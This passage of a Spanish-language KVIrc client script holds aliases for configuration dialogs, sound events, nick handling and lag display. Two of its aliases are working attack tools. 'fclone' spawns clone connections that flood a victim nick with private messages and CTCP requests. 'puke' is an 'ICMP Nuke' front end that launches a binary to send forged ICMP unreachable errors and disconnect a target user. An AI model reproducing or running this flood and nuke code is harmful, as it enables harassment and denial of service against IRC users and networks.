%vent->%le_formatoqueryColor->$show()
# fondo
%vent->%le_formatoqueryfondo = $new(lineedit,%vent,le_formatoqueryfondo,$config(b,formatoqueryfondo))
%l->$addMultiCell(%vent->%le_formatoqueryfondo,8,8,36,38)
%vent->%le_formatoqueryfondo->$show()

# cancel boton
%b_cancel = $new(button,%vent,b_cancel_button,Cancelar)
%b_cancel->$setMinimumWidth(100)
obj_setevent(%b_cancel,OnClick) {
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_cancel,20,20,24,30)
%b_cancel->$show()

# ok boton
%b_aceptar = $new(button,%vent,ok_button,Aceptar)
%b_aceptar->$setMinimumWidth(100)
obj_setevent(%b_aceptar,OnClick) {
	tempconf g_personal
	tempconf actualizar
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_aceptar,20,20,31,37)
%b_aceptar->$show()





[ENDALIAS]
[ALIAS conf_sonido bytes 7752]
#widget
%vent=%Id_conf
%vent->$setCaption(Configuracion del Script \(Sonido\))
%vent->$setMinimumWidth(1)
%vent->$setMinimumHeight(360)
%vent->$setGeometry(%vent->$x(),%vent->$y(),1,360)

obj_setevent(%vent, OnClose){ 
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	%Id_conf=
 	} 
%vent->$show()

#layout
%l = $new(layout,%vent,layout_l)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

# b1
%b_general = $new(button,%vent,b_general,General)
%b_general->$setMinimumWidth(150)
obj_setevent(%b_general,OnClick) {
	tempconf g_sonido
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_general
		}
	}
%l->$addMultiCell(%b_general,0,0,1,10)
%b_general->$show()

# b2
%b_sonido = $new(button,%vent,b_sonido,Sonido)
%b_sonido->$setMinimumWidth(150)
obj_setevent(%b_sonido,OnClick) {
	}
%l->$addMultiCell(%b_sonido,0,0,11,20)
%b_sonido->$show()
%b_sonido->$setenabled(0)
# b3
%b_canales = $new(button,%vent,b_canales,Canales)
%b_canales->$setMinimumWidth(150)
obj_setevent(%b_canales,OnClick) {
	tempconf g_sonido
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_canales
		}
	}
%l->$addMultiCell(%b_canales,0,0,21,30)
%b_canales->$show()

# b4
%b_personal = $new(button,%vent,b_personal,Personal)
%b_personal->$setMinimumWidth(150)
obj_setevent(%b_personal,OnClick) {
	tempconf g_sonido
	foreach(%matahijo,%Id_conf->$children()) {
		destroy %matahijo
		}
	timer -s (ataca,100,%ataca) {
		conf_personal
		}
	}
%l->$addMultiCell(%b_personal,0,0,31,40)
%b_personal->$show()

#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,1,1,0,40)
%linea1->$show()

#ruido s n
%e_as = $new(label,%vent,e_activar_sonido,Activar Sonidos del Script)
%l->$addMulticell(%e_as,2,2,0,10)
%e_as->$show()

#check b
%vent->%cb_as = $new(checkbox,%vent,)
%l->$addMulticell(%vent->%cb_as,2,2,11,11)
%vent->%cb_as->$setChecked($config(b,ruido))
%vent->%cb_as->$show()

#info
%e_info = $new(label,%vent,e_info,\(Dejar en blanco algun evento de sonido lo desactiva!\))
%l->$addMulticell(%e_info,2,2,15,35)
%e_info->$show()

#linea h
%linea1 = $new(label,%vent,line_h,)
%linea1->$setFrameShape(hline)
%linea1->$setFrameShadow(sunken)
%l->$addMultiCell(%linea1,3,3,0,40)
%linea1->$show()

# Sonido al nombrarte
%e = $new(label,%vent,e_san,Sonido al Nombrarte)
%l->$addMultiCell(%e,4,4,0,10)
%e->$show()
# edit
%vent->%le_s_san=$new(lineedit,%vent,le_san,$config(b,s_san))
%l->$addMultiCell(%vent->%le_s_san,4,4,11,20)
%vent->%le_s_san->$show()

# atack detected
%e = $new(label,%vent,e_attack_detected,Ataque Detectado)
%l->$addMultiCell(%e,5,5,0,10)
%e->$show()
# edit
%vent->%le_s_attack_detected=$new(lineedit,%vent,le_attack_detected,$config(b,s_attack_detected))
%l->$addMultiCell(%vent->%le_s_attack_detected,5,5,11,20)
%vent->%le_s_attack_detected->$show()

# s_connect
%e = $new(label,%vent,e_connect,Al Conectar)
%l->$addMultiCell(%e,6,6,0,10)
%e->$show()
# edit
%vent->%le_s_connect=$new(lineedit,%vent,le_connect,$config(b,s_connect))
%l->$addMultiCell(%vent->%le_s_connect,6,6,11,20)
%vent->%le_s_connect->$show()

#s_warning
%e = $new(label,%vent,e_s_warning,Advertencia)
%l->$addMultiCell(%e,7,7,0,10)
%e->$show()
# edit
%vent->%le_s_warning=$new(lineedit,%vent,le_s_warning,$config(b,s_warning))
%l->$addMultiCell(%vent->%le_s_warning,7,7,11,20)
%vent->%le_s_warning->$show()

#s_disconnect
%e = $new(label,%vent,e_s_disconnect,Al Desconectar)
%l->$addMultiCell(%e,8,8,0,10)
%e->$show()
# edit
%vent->%le_s_disconnect=$new(lineedit,%vent,le_s_disconnect,$config(b,s_disconnect))
%l->$addMultiCell(%vent->%le_s_disconnect,8,8,11,20)
%vent->%le_s_disconnect->$show()

#s_medeop
%e = $new(label,%vent,e_s_medeop,Te Sacan OP)
%l->$addMultiCell(%e,9,9,0,10)
%e->$show()
# edit
%vent->%le_s_medeop=$new(lineedit,%vent,le_s_medeop,$config(b,s_medeop))
%l->$addMultiCell(%vent->%le_s_medeop,9,9,11,20)
%vent->%le_s_medeop->$show()

#s_mejoin
%e = $new(label,%vent,e_s_mejoin,Entrar a un Canal)
%l->$addMultiCell(%e,10,10,0,10)
%e->$show()
# edit
%vent->%le_s_mejoin=$new(lineedit,%vent,le_s_mejoin,$config(b,s_mejoin))
%l->$addMultiCell(%vent->%le_s_mejoin,10,10,11,20)
%vent->%le_s_mejoin->$show()

#s_mekick
%e = $new(label,%vent,e_s_mekick,Te Expulsan)
%l->$addMultiCell(%e,4,4,21,30)
%e->$show()
# edit
%vent->%le_s_mekick=$new(lineedit,%vent,le_s_mekick,$config(b,s_mekick))
%l->$addMultiCell(%vent->%le_s_mekick,4,4,31,40)
%vent->%le_s_mekick->$show()


#s_meop
%e = $new(label,%vent,e_s_meop,Te Dan OP)
%l->$addMultiCell(%e,5,5,21,30)
%e->$show()
# edit
%vent->%le_s_meop=$new(lineedit,%vent,le_s_meop,$config(b,s_meop))
%l->$addMultiCell(%vent->%le_s_meop,5,5,31,40)
%vent->%le_s_meop->$show()

#s_mepart
%e = $new(label,%vent,e_s_mepart,Salis de un Canal)
%l->$addMultiCell(%e,6,6,21,30)
%e->$show()
# edit
%vent->%le_s_mepart=$new(lineedit,%vent,le_s_mepart,$config(b,s_mepart))
%l->$addMultiCell(%vent->%le_s_mepart,6,6,31,40)
%vent->%le_s_mepart->$show()

#s_onquery
%e = $new(label,%vent,e_s_onquery,Query \(Mensaje Privado\))
%l->$addMultiCell(%e,7,7,21,30)
%e->$show()
# edit
%vent->%le_s_onquery=$new(lineedit,%vent,le_s_onquery,$config(b,s_onquery))
%l->$addMultiCell(%vent->%le_s_onquery,7,7,31,40)
%vent->%le_s_onquery->$show()

#s_shutdown
%e = $new(label,%vent,e_s_shutdown,Al Apagar el Kvirc)
%l->$addMultiCell(%e,8,8,21,30)
%e->$show()
# edit
%vent->%le_s_shutdown=$new(lineedit,%vent,le_s_shutdown,$config(b,s_shutdown))
%l->$addMultiCell(%vent->%le_s_shutdown,8,8,31,40)
%vent->%le_s_shutdown->$show()

#s_startup
%e = $new(label,%vent,e_s_startup,Al Iniciar el Kvirc)
%l->$addMultiCell(%e,9,9,21,30)
%e->$show()
# edit
%vent->%le_s_startup=$new(lineedit,%vent,le_s_startup,$config(b,s_startup))
%l->$addMultiCell(%vent->%le_s_startup,9,9,31,40)
%vent->%le_s_startup->$show()

#s_clones_found
%e = $new(label,%vent,e_s_clones_found,Se Detectan Clones)
%l->$addMultiCell(%e,10,10,21,30)
%e->$show()
# edit
%vent->%le_s_clones_found=$new(lineedit,%vent,le_s_clones_found,$config(b,s_clones_found))
%l->$addMultiCell(%vent->%le_s_clones_found,10,10,31,40)
%vent->%le_s_clones_found->$show()

#player
%e = $new(label,%vent,e_s_clones_found,<b>Reproductor de Sonido)
%l->$addMultiCell(%e,12,12,0,9)
%e->$show()

#acciones
%vent->%cb_player = $new(combobox,%vent); 
%vent->%cb_player->$insertItem("Play - De Consola");
%vent->%cb_player->$insertItem("ArTs - De KDE 2"); 
%vent->%cb_player->$insertItem("Esd - De Gnome");
# now after user makes a choice you can obtain it like this:
%l->$addMulticell(%vent->%cb_player,12,12,11,20)				
%vent->%cb_player->$setqtproperty(currentItem,$config(b,player))
%vent->%cb_player->$show()
#%vent->%cb_aciones->$listqtproperties()

# servidor de sonido
%e = $new(label,%vent,e_serv_sonido,<b> Servidor de sonido)
%l->$addMultiCell(%e,12,12,21,30)
%e->$show()
# edit
%vent->%le_serv_sonido=$new(lineedit,%vent,le_serv_sonido,$config(b,serv_sonido))
%vent->%le_serv_sonido->$setText($config(a,s_serv_sonido))
%l->$addMultiCell(%vent->%le_serv_sonido,12,12,31,40)
%vent->%le_serv_sonido->$show()

# cancel boton
%b_cancel = $new(button,%vent,b_cancel_button,Cancelar)
%b_cancel->$setMinimumWidth(100)
obj_setevent(%b_cancel,OnClick) {
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=
	}
%l->$addMultiCell(%b_cancel,20,20,24,30)
%b_cancel->$show()

# ok boton
%b_aceptar = $new(button,%vent,ok_button,Aceptar)
%b_aceptar->$setMinimumWidth(100)
obj_setevent(%b_aceptar,OnClick) {
	tempconf g_sonido
	tempconf actualizar
	tempconf borrar
	%XX=%Id_conf->$x()
	%YY=%Id_conf->$y()
	destroy %Id_conf
	%Id_conf=

	}
%l->$addMultiCell(%b_aceptar,20,20,31,37)
%b_aceptar->$show()








[ENDALIAS]
[ALIAS configurar bytes 253]
if ("%Id_conf"!="") {
	echo -w=@console -i=6 Ya hay un dialogo abierto, Si no fuese asi tipea:   /\%Id_conf=  
	try %Id_conf->$raise()
	halt
}

#widget
%vent = $new(widget,$root,vent)     
%Id_conf=%vent
%vent->$setGeometry(%XX,%YY,1,1)
conf_canales $1

[ENDALIAS]
[ALIAS consola bytes 20]
{%Consola="xterm";}

[ENDALIAS]
[ALIAS fclone bytes 6466]
# Gracias a [CRIS]de[AGUS] por las ideas! y Ayudas con el tema !!!
                                                                                                                                      
if ($1->%continua==0) halt;
# crea un objeto socket
%o=$new(socket,$root,socktheflood);

if("$2"=="primero") $1->%faltanconectar=$1->%nclones->$text()


#  echo Id papi $this->%papa
%o->%papa=$1
#  echo servidor $this->%papa->%servidor->$text()
%o->%servidor=$1->%servidor->$text()
#  echo puerto $this->%papa->%sport->$text()
%o->%sport=$1->%sport->$text()
#  echo nick de los clones $this->%papa->%nick->$text()
%o->%nick=$1->%nick->$text()
#  echo numero de clones $this->%papa->%nclones->$text()
%o->%nclones=$1->%nclones->$text()
#  echo nick de la victima $this->%papa->%nvictima->$text()
%o->%nvictima=$1->%nvictima->$text()
#  echo cuando $this->%papa->%cb_cuando->$qtproperty(currentItem)
%o->%cb_cuando=$1->%cb_cuando->$qtproperty(currentItem)
#  echo entra canal sn$this->%papa->%ecanal->$isChecked()
%o->%ecanal=$1->%ecanal->$isChecked()
#  echo canal que auto entra $this->%papa->%acanal->$text()
%o->%acanal=$1->%acanal->$text()
#  echo privado sn $this->%papa->%aprivado->$isChecked()
%o->%aprivado=$1->%aprivado->$isChecked()
#  echo texto que manda $this->%papa->%aptexto->$text()
%o->%aptexto=$1->%aptexto->$text()
#  echo ctcp sn $this->%papa->%actcp->$isChecked()
%o->%actcp=$1->%actcp->$isChecked()
#  echo ctcp tipo $this->%papa->%cb_ctcptipo->$qtproperty(currentItem)
%o->%cb_ctcptipo=$1->%cb_ctcptipo->$qtproperty(currentItem)
#  echo desconecta al enviar $this->%papa->%adesconecta->$isChecked()
%o->%adesconecta=$1->%adesconecta->$isChecked()
#  echo manual entra a canal $this->%papa->%mcanal->$text()
#  echo manual privado cada $this->%papa->%pcada->$text()
#  echo manual privado texto $this->%papa->%ptexto->$text()
#  echo manual ctcp cada $this->%papa->%ccada->$text()
#  echo manual ctcp tipo $this->%papa->%cb_ctcptipom->$qtproperty(currentItem)
%o->%pinguno=1
#detecta version de kvirc
if ($StrFind("2.1.0",$version)==-1) %o->%logscroll=1
else %o->%logscroll=0

obj_setevent(%o,OnConnect)
{
#agrega el ID del Hijo al papi
$this->%papa->%idclones="$this->%papa->%idclones"$this","

# user: username hostname servername : realname
  $this->$write("USER  la1 la2 la3 : la4$cr$lf")
  $this->$write("NICK $this->%nick$Rand(100)$cr$lf")

$this->%papa->%log->$settext($this->%papa->%log->$text()$cr$lf"Negociando Coneccion")
if ($this->%logscroll) $this->%papa->%log->$setCursorPosition($this->%papa->%log->$qtproperty(numLines),0)

#cuando conecta
if($this->%cb_cuando==1){
	#si entra al canal
	if($this->%ecanal) $this->$write("join $this->%acanal$cr$lf")
	#si manda privado
	if($this->%aprivado) $this->$write("privmsg $this->%nvictima :$this->%aptexto $cr$lf")  
	#si manda ctcp	
	if($this->%actcp) {
		if ($this->%cb_ctcptipo==0) %tipoctcp="PING"
		if ($this->%cb_ctcptipo==1) %tipoctcp="VERSION"
		$this->$write("privmsg $this->%nvictima :$char(001)%tipoctcp$char(001)$cr$lf")
		}
	if ($this->%adesconecta) {
		if ($this->%papa->%faltanconectar>=1){
			$this->%papa->%faltanconectar--
			$this->%papa->%idclones=$strReplace($this->%papa->%idclones,","$this",",",")
			$this->$write("quit $cr$lf")
#			fclone $this->%papa
		}
		else {
			$this->$write("quit $cr$lf")
		}		
	}	
}

}

obj_setevent(%o,OnDisconnect)
{
  $this->%papa->%idclones=$strReplace($this->%papa->%idclones,","$this",",",")
#	echo EVENTO ONDISCONECT
	if ($this->%adesconecta && $this->%cb_cuando!=3) {
		if ($this->%papa->%faltanconectar>=1){
 		fclone $this->%papa
		}
	}
  destroy $this
}

obj_setevent(%o,OnDataReceived)
{
  switch($2-)
  {
     match("*433*")
    {
	  $this->$write("NICK $this->%papa->%nick->$text()$Rand(100)$cr$lf")
    }
     match("PING*")
    {
	$this->%papa->%log->$settext($this->%papa->%log->$text()$cr$lf"Se Recibio PING del Servidor")
	if ($this->%logscroll) $this->%papa->%log->$setCursorPosition($this->%papa->%log->$qtproperty(numLines),0)
	%data=$2-
 	%data=$strReplace(%data,"PING","PONG")
 	%data=$strReplace(%data,":","")
	$this->$write(%data$cr$lf)
#cuando PING
if($this->%cb_cuando==2 && $this->%pinguno==1){
	$this->%pinguno=0
	#si entra al canal
	if($this->%ecanal) $this->$write("join $this->%acanal$cr$lf")
	#si manda privado
	if($this->%aprivado) $this->$write("privmsg $this->%nvictima :$this->%aptexto $cr$lf")  
	#si manda ctcp	
	if($this->%actcp) {
		if ($this->%cb_ctcptipo==0) %tipoctcp="PING"
		if ($this->%cb_ctcptipo==1) %tipoctcp="VERSION"
		$this->$write("privmsg $this->%nvictima :$char(001)%tipoctcp$char(001)$cr$lf")
		}
	if ($this->%adesconecta) {
		if ($this->%papa->%faltanconectar>=1){
			$this->%papa->%faltanconectar--
			$this->%papa->%idclones=$strReplace($this->%papa->%idclones,","$this",",",")
			$this->$write("quit $cr$lf")
#			fclone $this->%papa
		}
		else {
			$this->$write("quit $cr$lf")
		}		
	}	
}

  
    }

     match("* 004 *")
    {
$this->%papa->%log->$settext($this->%papa->%log->$text()$cr$lf"Se Conecto el Clon")
if ($this->%logscroll) $this->%papa->%log->$setCursorPosition($this->%papa->%log->$qtproperty(numLines),0)
if($this->%cb_cuando==0){
	#si entra al canal
	if($this->%ecanal) $this->$write("join $this->%acanal$cr$lf")
	#si manda privado
	if($this->%aprivado) $this->$write("privmsg $this->%nvictima :$this->%aptexto $cr$lf")  
	#si manda ctcp	
	if($this->%actcp) {
		if ($this->%cb_ctcptipo==0) %tipoctcp="PING"
		if ($this->%cb_ctcptipo==1) %tipoctcp="VERSION"
		$this->$write("privmsg $this->%nvictima :$char(001)%tipoctcp$char(001)$cr$lf")
		}
	if ($this->%adesconecta) {
		if ($this->%papa->%faltanconectar>=1){
			$this->%papa->%faltanconectar--
			$this->%papa->%idclones=$strReplace($this->%papa->%idclones,","$this",",",")
			$this->$write("quit $cr$lf")
#			fclone $this->%papa
		}
		else {
			$this->$write("quit $cr$lf")
		}		
	}	
}

    }
  }
#echo $2-
#$this->%papa->%log->$settext($this->%papa->%log->$text()$cr$lf$2-)

# If the connection fails for some reason , kill the object
#obj_setevent(%o,OnConnectFailed)
#{
#destroy $this
#}

}

# Momento de conectar
if(!%o->$connect($1->%servidor->$text(),$1->%sport->$text())){ 
	$1->%log->$settext($1->%log->$text()$cr$lf Clon : Fallo la Coneccion del Clon.)
#	echo -w=@console Clon : Fallo la coneccion del Clon
	%o->$lastError(); destroy %o; 
	}
else {
$1->%log->$settext($1->%log->$text()$cr$lf"Conectando...")
if (%o->%logscroll) $1->%log->$setCursorPosition($1->%log->$qtproperty(numLines),0)
}

[ENDALIAS]
[ALIAS frase bytes 462]
switch($rand(11)){
    case(1): %Frase=Linux Inside!
    case(2): %Frase=Be Afraid... This not Mirc, This is LINUX!
    case(3): %Frase=Linux Will Save the Planet!
    case(4): %Frase=MAY THE SOURCE BE WITH YOU [Linux Life]!
    case(5): %Frase=Be Afraid... This not Mirc, Esto es LINUX!
    case(6): %Frase=Linux Rulez!
    case(7): %Frase=Change the World, Use Linux!
    case(8): %Frase=Microchot Sucks, Use Linux!
        default: %Frase=Linux Inside!
    }

[ENDALIAS]
[ALIAS inicio bytes 471]
# inicio las variables

#Generales
if ("$config(a,primeravez)"!="") {
echo Se cargaron los valores por defecto!
tempconf pordefecto
}
%Num=1
%Frase=Linux Inside!
%Antipubli=0
%Antipublim=1
%Sp=2
%Kickquery=0
%Nomesgnoop=0
%Away=0
%Awayreplay=1
%Actualizanick=0
consola

#bienvenida
echo iNGENI{} ScripT ver: $config(a,sver) (http://move.to/ingenio)
echo Modificado por Juanjo Alvarez (juanjo@alvarez.as)
echo (Boton derecho sobre la @CONSOLE para configurar el Script)



[ENDALIAS]
[ALIAS j bytes 227]
if("$strfind(#,$1)" != "0"){
if("$strfind(!,$1)" != "0"){
if("$strfind(&,$1)" != "0"){
join #$1
}
}
}
if("$strfind(#,$1)" == "0"){
join $1
}
elseif("$strfind(!,$1)" == "0"){
join $1
}
elseif("$strfind(&,$1)" == "0"){
join $1
}

[ENDALIAS]
[ALIAS lag bytes 306]
notice -s $mynick lag
	%laguito=.
	if (%Away) %texto="-- iNGENIO ScripT $config(a,sver) -- Esperando Lag... -- Estas AWAY"
	else %texto="-- iNGENIO ScripT $config(a,sver) -- Esperando Lag.."

      option szCaptionMessage %texto%laguito
#echo Current time : $times ($numtimetostring($times))
%Lag=$times;


[ENDALIAS]
[ALIAS msipa bytes 86]
# el $1 es el canal
foreach(%tmp,$AllOnChan($1)) if ("%tmp"!="$MyNick") {
who %tmp;
}

[ENDALIAS]
[ALIAS n bytes 8]
names $1
[ENDALIAS]
[ALIAS names bytes 15]
raw -s names $1
[ENDALIAS]
[ALIAS nickpopup bytes 699]
option szPrivmsgFormatNickLinkCommand "[dbl]query \$1[rbt]builtin_nick_popup \$1"
alias builtin_nick_popup {
     %p = $root->$findChild(builtin_nick_popup)
     if("%p" != "0")%p->$clear()
     else %p = $new(popupmenu,$root,builtin_nick_popup)
     %p->%nick = $1
     %p->%idWhois = %p->$insertItem(whois $1,$icon(whois))
     %p->%idQuery = %p->$insertItem(query $1,$icon(query))
     %p->%idKill  = %p->$insertItem(Ucentral $1,$icon(info))
     obj_setevent(%p,OnItemClicked){
         switch($1){
             case($this->%idWhois)whois $this->%nick
             case($this->%idQuery)query $this->%nick
             case($this->%idKill)ucentral $this->%nick
         }
     }
 %p->$popup()
}  
[ENDALIAS]
[ALIAS nomaskip bytes 179]
			echo No se encontro el ip;
			%Unmasksigue=;
			%Unmasksigue=1;
			%Unmasktam=;
			%Unmasknick=;
			%Unmaskci=;
			%Unmasktipo=;
			%Unmaskcuenta=;
			%Unmask=;
			%Unmaskwho=;
[ENDALIAS]
[ALIAS probe bytes 48]
foreach (%tmp,$range(1,500)){
echo $char(%tmp)
}
[ENDALIAS]
[ALIAS puke bytes 3663]
%puke = $new(widget,$root,puke)
%puke->$setCaption(Puke \(Icmp Nuke\)... $1)
%puke->$setGeometry(10,12,1,1)

obj_setevent(%puke, OnClose){
	config a pukepb $this->%cpb->$text()
	config a pukepa $this->%cpa->$text()
	config a pukeicmp $this->%cb_icmp->$qtproperty(currentItem)
 	}
%puke->$show()
#layout
%l = $new(layout,%puke,layout_l_puke)
%l->$setSpacing(3)
%l->$setMargin(6)

#elementos del layuot

#SERVIDOR
%label = $new(label,%puke,name_label,<b>Servidor:</b>)
%l->$addMulticell(%label,2,2,0,5)
%label->$show()
# edit
%puke->%servidor = $new(lineedit,%puke,le_servidor,$serverip)
%l->$addMultiCell(%puke->%servidor,2,2,6,55)
%puke->%servidor->$show()

#etiqueta
%label = $new(label,%puke,name_label,Comienza en el Puerto:)
%l->$addMulticell(%label,3,3,0,10)
%label->$show()
# edit
%puke->%spb = $new(lineedit,%puke,spb,$serverport)
%l->$addMultiCell(%puke->%spb,3,3,11,26)
%puke->%spb->$show()

#etiqueta
%label = $new(label,%puke,name_label,Termina en el Puerto:)
%l->$addMulticell(%label,3,3,27,37)
%label->$show()

# edit
%puke->%spa = $new(lineedit,%puke,le_spa,$serverport)
%l->$addMultiCell(%puke->%spa,3,3,38,53)
%puke->%spa->$show()

#CLIENTE
%label = $new(label,%puke,name_label,<b>Cliente:</b>)
%l->$addMulticell(%label,4,4,0,5)
%label->$show()
# edit
%puke->%cliente = $new(lineedit,%puke,le_cliente,$1)
%l->$addMultiCell(%puke->%cliente,4,4,6,55)
%puke->%cliente->$show()

#etiqueta
%label = $new(label,%puke,name_label,Comienza en el Puerto:)
%l->$addMulticell(%label,5,5,0,10)
%label->$show()
# edit
%puke->%cpb = $new(lineedit,%puke,cpb,$config(a,pukepb))
%l->$addMultiCell(%puke->%cpb,5,5,11,26)
%puke->%cpb->$show()

#etiqueta
%label = $new(label,%puke,name_label,Termina en el Puerto:)
%l->$addMulticell(%label,5,5,27,37)
%label->$show()

# edit
%puke->%cpa = $new(lineedit,%puke,le_cpa,$config(a,pukepa))
%l->$addMultiCell(%puke->%cpa,5,5,38,53)
%puke->%cpa->$show()


#etiqueta
%label = $new(label,%puke,name_label,<b>Error:</b>)
%l->$addMulticell(%label,6,6,0,3)
%label->$show()

#icmp type
%puke->%cb_icmp = $new(combobox,%puke); 
%puke->%cb_icmp->$insertItem("Net Unreacheable"); 
%puke->%cb_icmp->$insertItem("Host Unreacheable"); 
%puke->%cb_icmp->$insertItem("Protocol Unreacheable"); 
%puke->%cb_icmp->$insertItem("Port Unreacheable"); 
%puke->%cb_icmp->$insertItem("Fragmentation Needed");
%puke->%cb_icmp->$insertItem("Source Route Failed"); 
%puke->%cb_icmp->$insertItem("Net Unknown");
%puke->%cb_icmp->$insertItem("Host Unknown");
%puke->%cb_icmp->$insertItem("Host Isolated");
%puke->%cb_icmp->$insertItem("AuthNet");
%puke->%cb_icmp->$insertItem("AuthHost");
%puke->%cb_icmp->$insertItem("NetSvc");
%puke->%cb_icmp->$insertItem("HostSvc");
%puke->%cb_icmp->$insertItem("Packet Filtered");
%puke->%cb_icmp->$insertItem("Precedence Violation");
%puke->%cb_icmp->$insertItem("Precedence Cutoff");
# now after user makes a choice you can obtain it like this:
%l->$addMulticell(%puke->%cb_icmp,6,6,4,30)				
%puke->%cb_icmp->$setqtproperty(currentItem,$config(a,pukeicmp))
%puke->%cb_icmp->$show()

# nuke boton
%nuke = $new(button,%puke,b_nuke,Nuke)
obj_setevent(%nuke,OnClick) {
	%id=$this->$parent()
	if ("%id->%servidor->$text()"!="" && "%id->%spb->$text()"!="" && "%id->%spa->$text()"!="" && "%id->%cliente->$text()"!="" && "%id->%cpb->$text()"!="" && "%id->%cpa->$text()"!="") run %Consola -T "IP:%id->%cliente->$text()""__ICMP___Atacando" -e $KVIrcDir/misc/puke %id->%servidor->$text() %id->%spb->$text() %id->%spa->$text() %id->%cliente->$text() %id->%cpb->$text() %id->%cpa->$text() %id->%cb_icmp->$qtproperty(currentItem)
	else echo -i=2 $K\0,4 Falta Algun Dato...;
}
%l->$addMultiCell(%nuke,6,6,33,55)
%nuke->$show()

[ENDALIAS]
[ALIAS q bytes 8]
query $1
[ENDALIAS]
[ALIAS reiniciar bytes 158]
 dialog(1button,"Reinicia el kvirc!","Hasta que no reinicies, el kvirc quedara m�l configurado... Reinicialo!",Information,"OK",$1) {
         }              
[ENDALIAS]
[ALIAS ruido bytes 1045]
if ("$config(a,ruido)" == "1") {																		

switch($1) {
	case("san.wav") %suena=$config(a,s_san)
	case("attack_detected.wav") %suena=$config(a,s_attack_detected)
	case("connected.wav") %suena=$config(a,s_connect)
	case("warning.wav") %suena=$config(a,s_warning)
	case("disconnected.wav") %suena=$config(a,s_disconnect)
	case("deopped.wav") %suena=$config(a,s_medeop)
	case("joining_channel.wav") %suena=$config(a,s_mejoin)
	case("kick.wav") %suena=$config(a,s_mekick)
	case("opped.wav") %suena=$config(a,s_meop)
	case("leaving_channel.wav") %suena=$config(a,s_mepart)
	case("snd_query.wav") %suena=$config(a,s_onquery)
	case("goodbye.wav") %suena=$config(a,s_shutdown)
	case("welcome.wav") %suena=$config(a,s_startup)
	case("clones_found.wav") %suena=$config(a,s_clones_found)
	}

switch($config(a,player)) {
	case(0) run play %suena
	case(1) run artsplay %suena
	case(2) {
		if ("$config(a,s_serv_sonido)" == "")
			%esd_server=localhost
		else
			%esd_server=$config(a,s_serv_sonido)	
		 run esdplay -s %esd_server %suena	
		}
	}
}

 
[ENDALIAS]
[ALIAS s bytes 11]
server $1-

[ENDALIAS]
[ALIAS strings_vacios bytes 166]
#interpretacion

if ("$config(a,poronga)"=="") echo esta vacia
	else echo tiene algo!!!

#alrevez 
if ("$config(a,poronga)"!="") echo tiene algo
	else echo esta vacia
[ENDALIAS]
[ALIAS takenick bytes 323]
if("$1" == ""){
echo -w = $activewindow -i = 2 You will need to specify a nick you want to try to take...
}
elseif("$1" != ""){
%Takenick = $1
echo -w = $activewindow -i = 42 Will try to take the nick '%Takenick' as soon as it gets available! Press F5 anytime to cancel
timer -w = $console (takenick,10000) takenicksecond
}
[ENDALIAS]
[ALIAS takenicksecond bytes 259]
%Nickexist = 1
awhois (%Takenick){
%Nickexist = 
if("$whoissuccess" == "0"){
killtimer -q takenick
echo -w = $activewindow -i = 42 The nick you asked for is now available... Trying to change nick: 
nick %Takenick
%Takenick = 
}
if("$whoissuccess" != "0"){
}
}
[ENDALIAS]
[ALIAS tempconf bytes 18852]
if ("$1"=="g_personal") {																				 
	config b correoelectronico %Id_conf->%le_ce->$text()
	config b paginaweb %Id_conf->%le_paginaweb->$text()
	config b usuariox %Id_conf->%le_ux->$text()
	config b autoentrar %Id_conf->%le_autoentrar->$text()
		#canal
	config b formatocanalactivo %Id_conf->%cb_formatocanalactivo->$isChecked()
	config b formatocanalnegrita %Id_conf->%cb_formatocanalnegrita->$isChecked()
	config b formatocanalsubrayado %Id_conf->%cb_formatocanalsubrayado->$isChecked()
	config b formatocanalcolor %Id_conf->%le_formatocanalcolor->$text()
	config b formatocanalfondo %Id_conf->%le_formatocanalfondo->$text()
		#query
	config b formatoQueryactivo %Id_conf->%cb_formatoQueryactivo->$isChecked()
	config b formatoQuerynegrita %Id_conf->%cb_formatoQuerynegrita->$isChecked()
	config b formatoQuerysubrayado %Id_conf->%cb_formatoQuerysubrayado->$isChecked()
	config b formatoQuerycolor %Id_conf->%le_formatoQuerycolor->$text()
	config b formatoQueryfondo %Id_conf->%le_formatoQueryfondo->$text()
	}
if ("$1"=="g_general") {																				 
	config b speed %Id_conf->%le_vela->$text()
	config b mlag %Id_conf->%le_mlag->$text()
	config b mquery %Id_conf->%le_mquery->$text()
	config b nickcolor %Id_conf->%cb_nickcolor->$isChecked()
	config b autoaway %Id_conf->%cb_autoaway->$isChecked()
	config b awayseg %Id_conf->%le_awayseg->$text()
	config b awaymsg %Id_conf->%le_awaymsg->$text()
	config b awaynickchange %Id_conf->%cb_awaynickchange->$isChecked()
	config b awaynick %Id_conf->%le_awaynick->$text()
	config b adornanicks %Id_conf->%cb_adornanicks->$isChecked()
	config b tipoAdorno %Id_conf->%tipo_adorno->$qtproperty(currentItem)
	}
if ("$1"=="g_sonido") {
	config b ruido %Id_conf->%cb_as->$isChecked()
	config b player %Id_conf->%cb_player->$qtproperty(currentItem)
	config b s_san %Id_conf->%le_s_san->$text()
	config b s_attack_detected %Id_conf->%le_s_attack_detected->$text()
	config b s_connect %Id_conf->%le_s_connect->$text()
	config b s_warning %Id_conf->%le_s_warning->$text()
	config b s_disconnect %Id_conf->%le_s_disconnect->$text()
	config b s_medeop %Id_conf->%le_s_medeop->$text()
	config b s_mejoin %Id_conf->%le_s_mejoin->$text()
	config b s_mekick %Id_conf->%le_s_mekick->$text()
	config b s_meop %Id_conf->%le_s_meop->$text()
	config b s_mepart %Id_conf->%le_s_mepart->$text()
	config b s_onquery %Id_conf->%le_s_onquery->$text()
	config b s_shutdown %Id_conf->%le_s_shutdown->$text()
	config b s_startup %Id_conf->%le_s_startup->$text()
